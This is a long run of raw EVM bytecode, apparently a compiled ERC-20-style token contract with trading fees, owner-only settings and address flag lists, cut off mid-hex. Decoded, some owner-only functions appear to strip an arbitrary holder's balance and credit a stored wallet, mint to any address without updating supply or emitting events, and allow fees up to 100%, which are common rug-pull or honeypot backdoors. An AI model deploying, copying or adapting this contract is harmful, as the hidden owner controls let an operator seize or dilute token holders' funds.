573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000508919062000a07565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600e6000620006036200073e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505062000dce565b60006012905090565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620007f557808604811115620007cd57620007cc62000767565b5b6001851615620007dd5780820291505b8081029050620007ed8562000796565b9450620007ad565b94509492505050565b600082620008105760019050620008e3565b81620008205760009050620008e3565b816001811462000839576002811462000844576200087a565b6001915050620008e3565b60ff84111562000859576200085862000767565b5b8360020a91508482111562000873576200087262000767565b5b50620008e3565b5060208310610133831016604e8410600b8410161715620008b45782820a905083811115620008ae57620008ad62000767565b5b620008e3565b620008c38484846001620007a3565b92509050818404811115620008dd57620008dc62000767565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200090e82620008ea565b91506200091b83620008f4565b92506200094a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007fe565b905092915050565b60006200095f82620008ea565b91506200096c83620008ea565b92508282026200097c81620008ea565b9150828204841483151762000996576200099562000767565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009cf82620009a2565b9050919050565b620009e181620009c2565b8114620009ed57600080fd5b50565b60008151905062000a0181620009d6565b92915050565b60006020828403121562000a205762000a1f6200099d565b5b600062000a3084828501620009f0565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000abb57607f821691505b60208210810362000ad15762000ad062000a73565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000b3b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000afc565b62000b47868362000afc565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000b8a62000b8462000b7e84620008ea565b62000b5f565b620008ea565b9050919050565b6000819050919050565b62000ba68362000b69565b62000bbe62000bb58262000b91565b84845462000b09565b825550505050565b600090565b62000bd562000bc6565b62000be281848462000b9b565b505050565b5b8181101562000c0a5762000bfe60008262000bcb565b60018101905062000be8565b5050565b601f82111562000c595762000c238162000ad7565b62000c2e8462000aec565b8101602085101562000c3e578190505b62000c5662000c4d8562000aec565b83018262000be7565b50505b505050565b600082821c905092915050565b600062000c7e6000198460080262000c5e565b1980831691505092915050565b600062000c99838362000c6b565b9150826002028217905092915050565b62000cb48262000a39565b67ffffffffffffffff81111562000cd05762000ccf62000a44565b5b62000cdc825462000aa2565b62000ce982828562000c0e565b600060209050601f83116001811462000d21576000841562000d0c578287015190505b62000d18858262000c8b565b86555062000d88565b601f19841662000d318662000ad7565b60005b8281101562000d5b5784890151825560018201915060208501945060208101905062000d34565b8683101562000d7b578489015162000d77601f89168262000c6b565b8355505b6001600288020188555050505b505050505050565b62000d9b81620009c2565b82525050565b600060408201905062000db8600083018562000d90565b62000dc7602083018462000d90565b9392505050565b61522c8062000dde6000396000f3fe6080604052600436106102cd5760003560e01c806370a0823111610175578063c10ea0a5116100dc578063de8f151711610095578063f2fde38b1161006f578063f2fde38b14610b39578063f865d99b14610b62578063f9fa48c314610b8b578063fb8bd26f14610bb6576102d4565b8063de8f151714610abc578063e01af92c14610ae5578063e2f4560514610b0e576102d4565b8063c10ea0a5146109ae578063c816841b146109d7578063cc1776d314610a02578063ce1fd38014610a2d578063d6e3b88614610a56578063dd62ed3e14610a7f576102d4565b8063a1c61f501161012e578063a1c61f501461088e578063a457c2d7146108b7578063a9059cbb146108f4578063ae96ffe614610931578063afa4f3b21461095a578063b70c284114610983576102d4565b806370a082311461077c57806375f0a874146107b9578063860aefcf146107e457806389fe85071461080f5780638da5cb5b1461083857806395d89b4114610863576102d4565b806327722f6a116102345780635342acb4116101ed5780635b65b9ab116101c75780635b65b9ab146106d657806363244555146106ff5780636d2f2ed6146107285780636ddd171314610751576102d4565b80635342acb4146106335780635881f3ef1461067057806359fa6d72146106ad576102d4565b806327722f6a1461050d578063313ce5671461053857806331cd1acd14610563578063395093511461058e5780633ecad271146105cb5780634f7041a514610608576102d4565b806317a6954b1161028657806317a6954b146103fd57806318160ddd14610426578063228cb7331461045157806323af46d91461047c57806323b872dd146104a757806326f0d8ce146104e4576102d4565b806303204989146102d957806306fdde0314610302578063095ea7b31461032d5780630f953cca1461036a578063107aa189146103955780631694505e146103d2576102d4565b366102d457005b600080fd5b3480156102e557600080fd5b5061030060048036038101906102fb91906142cd565b610bdf565b005b34801561030e57600080fd5b50610317610ccf565b604051610324919061438a565b60405180910390f35b34801561033957600080fd5b50610354600480360381019061034f91906143e2565b610d61565b604051610361919061443d565b60405180910390f35b34801561037657600080fd5b5061037f610d84565b60405161038c919061443d565b60405180910390f35b3480156103a157600080fd5b506103bc60048036038101906103b79190614484565b610d97565b6040516103c991906144d3565b60405180910390f35b3480156103de57600080fd5b506103e7610e51565b6040516103f4919061454d565b60405180910390f35b34801561040957600080fd5b50610424600480360381019061041f9190614484565b610e77565b005b34801561043257600080fd5b5061043b610ff9565b6040516104489190614577565b60405180910390f35b34801561045d57600080fd5b50610466611003565b604051610473919061443d565b60405180910390f35b34801561048857600080fd5b50610491611016565b60405161049e919061443d565b60405180910390f35b3480156104b357600080fd5b506104ce60048036038101906104c99190614592565b611029565b6040516104db919061443d565b60405180910390f35b3480156104f057600080fd5b5061050b600480360381019061050691906145e5565b611059565b005b34801561051957600080fd5b5061052261112a565b60405161052f9190614577565b60405180910390f35b34801561054457600080fd5b5061054d611130565b60405161055a919061462e565b60405180910390f35b34801561056f57600080fd5b50610578611139565b6040516105859190614577565b60405180910390f35b34801561059a57600080fd5b506105b560048036038101906105b091906143e2565b61113f565b6040516105c2919061443d565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed91906142cd565b611176565b6040516105ff919061443d565b60405180910390f35b34801561061457600080fd5b5061061d611196565b60405161062a9190614577565b60405180910390f35b34801561063f57600080fd5b5061065a600480360381019061065591906142cd565b61119c565b604051610667919061443d565b60405180910390f35b34801561067c57600080fd5b50610697600480360381019061069291906142cd565b6111bc565b6040516106a491906144d3565b60405180910390f35b3480156106b957600080fd5b506106d460048036038101906106cf91906145e5565b6115cb565b005b3480156106e257600080fd5b506106fd60048036038101906106f89190614649565b61167d565b005b34801561070b57600080fd5b50610726600480360381019061072191906142cd565b61178d565b005b34801561073457600080fd5b5061074f600480360381019061074a91906142cd565b61187d565b005b34801561075d57600080fd5b5061076661196d565b604051610773919061443d565b60405180910390f35b34801561078857600080fd5b506107a3600480360381019061079e91906142cd565b611980565b6040516107b09190614577565b60405180910390f35b3480156107c557600080fd5b506107ce6119c9565b6040516107db91906144d3565b60405180910390f35b3480156107f057600080fd5b506107f96119ef565b6040516108069190614577565b60405180910390f35b34801561081b57600080fd5b506108366004803603810190610831919061469c565b6119f5565b005b34801561084457600080fd5b5061084d611a94565b60405161085a91906144d3565b60405180910390f35b34801561086f57600080fd5b50610878611abd565b604051610885919061438a565b60405180910390f35b34801561089a57600080fd5b506108b560048036038101906108b091906145e5565b611b4f565b005b3480156108c357600080fd5b506108de60048036038101906108d991906143e2565b611c01565b6040516108eb919061443d565b60405180910390f35b34801561090057600080fd5b5061091b600480360381019061091691906143e2565b611c78565b604051610928919061443d565b60405180910390f35b34801561093d57600080fd5b506109586004803603810190610953919061469c565b611c9c565b005b34801561096657600080fd5b50610981600480360381019061097c919061469c565b611d3b565b005b34801561098f57600080fd5b50610998611e2b565b6040516109a5919061443d565b60405180910390f35b3480156109ba57600080fd5b506109d560048036038101906109d091906142cd565b611e3e565b005b3480156109e357600080fd5b506109ec611fe0565b6040516109f991906144d3565b60405180910390f35b348015610a0e57600080fd5b50610a17612006565b604051610a249190614577565b60405180910390f35b348015610a3957600080fd5b50610a546004803603810190610a4f91906142cd565b61200c565b005b348015610a6257600080fd5b50610a7d6004803603810190610a7891906143e2565b6120fc565b005b348015610a8b57600080fd5b50610aa66004803603810190610aa191906146c9565b6121d9565b604051610ab39190614577565b60405180910390f35b348015610ac857600080fd5b50610ae36004803603810190610ade91906143e2565b612260565b005b348015610af157600080fd5b50610b0c6004803603810190610b0791906145e5565b612387565b005b348015610b1a57600080fd5b50610b23612458565b604051610b309190614577565b60405180910390f35b348015610b4557600080fd5b50610b606004803603810190610b5b91906142cd565b61245e565b005b348015610b6e57600080fd5b50610b896004803603810190610b8491906145e5565b61261f565b005b348015610b9757600080fd5b50610ba06126d1565b604051610bad9190614577565b60405180910390f35b348015610bc257600080fd5b50610bdd6004803603810190610bd891906143e2565b6126d7565b005b610be7612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6b90614755565b60405180910390fd5b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b606060048054610cde906147a4565b80601f0160208091040260200160405190810160405280929190818152602001828054610d0a906147a4565b8015610d575780601f10610d2c57610100808354040283529160200191610d57565b820191906000526020600020905b815481529060010190602001808311610d3a57829003601f168201915b5050505050905090565b600080610d6c612b20565b9050610d79818585612b28565b600191505092915050565b601860009054906101000a900460ff1681565b6000610da1612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2590614755565b60405180910390fd5b81601860026101000a81548160ff02191690831515021790555082905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e7f612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0390614755565b60405180910390fd5b801515600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610f9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9590614821565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600354905090565b601560009054906101000a900460ff1681565b600d60029054906101000a900460ff1681565b600080611034612b20565b9050611041858285612cf1565b61104c858585612d7d565b5060019150509392505050565b611061612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e590614755565b60405180910390fd5b801515600d60029054906101000a900460ff1615150361110d57600080fd5b80600d60026101000a81548160ff02191690831515021790555050565b60165481565b60006012905090565b60085481565b60008061114a612b20565b905061116b81858561115c85896121d9565b6111669190614870565b612b28565b600191505092915050565b600f6020528060005260406000206000915054906101000a900460ff1681565b60065481565b600e6020528060005260406000206000915054906101000a900460ff1681565b60006111c6612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124a90614755565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c791906148b9565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561132e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135291906148b9565b6040518363ffffffff1660e01b815260040161136f9291906148e6565b602060405180830381865afa15801561138c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b091906148b9565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611543578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611431573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145591906148b9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e091906148b9565b6040518363ffffffff1660e01b81526004016114fd9291906148e6565b6020604051808303816000875af115801561151c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061154091906148b9565b91505b81601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050919050565b6115d3612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611660576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165790614755565b60405180910390fd5b80601860006101000a81548160ff02191690831515021790555050565b611685612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611712576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170990614755565b60405180910390fd5b612710831115801561172657506127108211155b801561173457506127108111155b611773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176a9061495b565b60405180910390fd5b826006819055508160078190555080600881905550505050565b611795612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611822576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181990614755565b60405180910390fd5b6001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611885612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611912576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190990614755565b60405180910390fd5b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b6119fd612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8190614755565b60405180910390fd5b8060168190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054611acc906147a4565b80601f0160208091040260200160405190810160405280929190818152602001828054611af8906147a4565b8015611b455780601f10611b1a57610100808354040283529160200191611b45565b820191906000526020600020905b815481529060010190602001808311611b2857829003601f168201915b5050505050905090565b611b57612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdb90614755565b60405180910390fd5b80601560006101000a81548160ff02191690831515021790555050565b600080611c0c612b20565b90506000611c1a82866121d9565b905083811015611c5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c56906149ed565b60405180910390fd5b611c6c8286868403612b28565b60019250505092915050565b600080611c83612b20565b9050611c90818585612d7d565b50600191505092915050565b611ca4612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2890614755565b60405180910390fd5b8060178190555050565b611d43612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc790614755565b60405180910390fd5b60008111611ddd57600080fd5b80600c5403611e21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1890614a59565b60405180910390fd5b80600c8190555050565b601860029054906101000a900460ff1681565b611e46612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eca90614755565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611f0c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611f9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9390614ac5565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b612014612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209890614755565b60405180910390fd5b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b612104612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612191576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218890614755565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612268612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ec90614755565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123409190614870565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b61238f612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461241c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241390614755565b60405180910390fd5b801515600d60019054906101000a900460ff1615150361243b57600080fd5b80600d60016101000a81548160ff02191690831515021790555050565b600c5481565b612466612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ea90614755565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255990614b57565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612627612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ab90614755565b60405180910390fd5b80601860016101000a81548160ff02191690831515021790555050565b60095481565b6126df612b20565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461276c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276390614755565b60405180910390fd5b612774611a94565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890614bc3565b60405180910390fd5b670de0b6b3a7640000816127f59190614be3565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411612995576000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461292b9190614870565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b1c565b670de0b6b3a7640000816129a99190614be3565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129f39190614c25565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550670de0b6b3a764000081612a4a9190614be3565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab69190614870565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612b97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8e90614ccb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612c06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bfd90614d5d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612ce49190614577565b60405180910390a3505050565b6000612cfd84846121d9565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612d775781811015612d69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d6090614dc9565b60405180910390fd5b612d768484848403612b28565b5b50505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612de490614e5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612e5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5390614eed565b60405180910390fd5b60008203612e7757612e70848460006131e8565b90506131e1565b601860019054906101000a900460ff16156131c757600d60009054906101000a900460ff1615612eb357612eac8484846131e8565b90506131e1565b6000612ebe30611980565b90506000600c548210159050808015612ee45750600d60009054906101000a900460ff16155b8015612f3d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015612f555750600d60019054906101000a900460ff165b15612f7f57600d60029054906101000a900460ff1615612f7557600c5491505b612f7e82613376565b5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fca9190614c25565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806130b05750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6130c4576130bf8787876133be565b6130c6565b845b905080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131139190614870565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516131b39190614577565b60405180910390a3600193505050506131e1565b6131d18483613684565b6131dc848484613941565b600190505b9392505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132359190614c25565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132c39190614870565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516133639190614577565b60405180910390a3600190509392505050565b61337f81613f4b565b600047905060008111156133ba576133b9600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826141c4565b5b5050565b60008060009050600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156134695750600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561348c576009546008548461347f9190614be3565b6134899190614f3c565b90505b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561350057600954600654846134ef9190614be3565b6134f99190614f3c565b9050613571565b600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561357057600954600754846135639190614be3565b61356d9190614f3c565b90505b5b600081111561366e5780600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135c59190614870565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516136659190614577565b60405180910390a35b808361367a9190614c25565b9150509392505050565b61368c611a94565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156137115750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156137675750600f60008373ffffffffffffffffffffff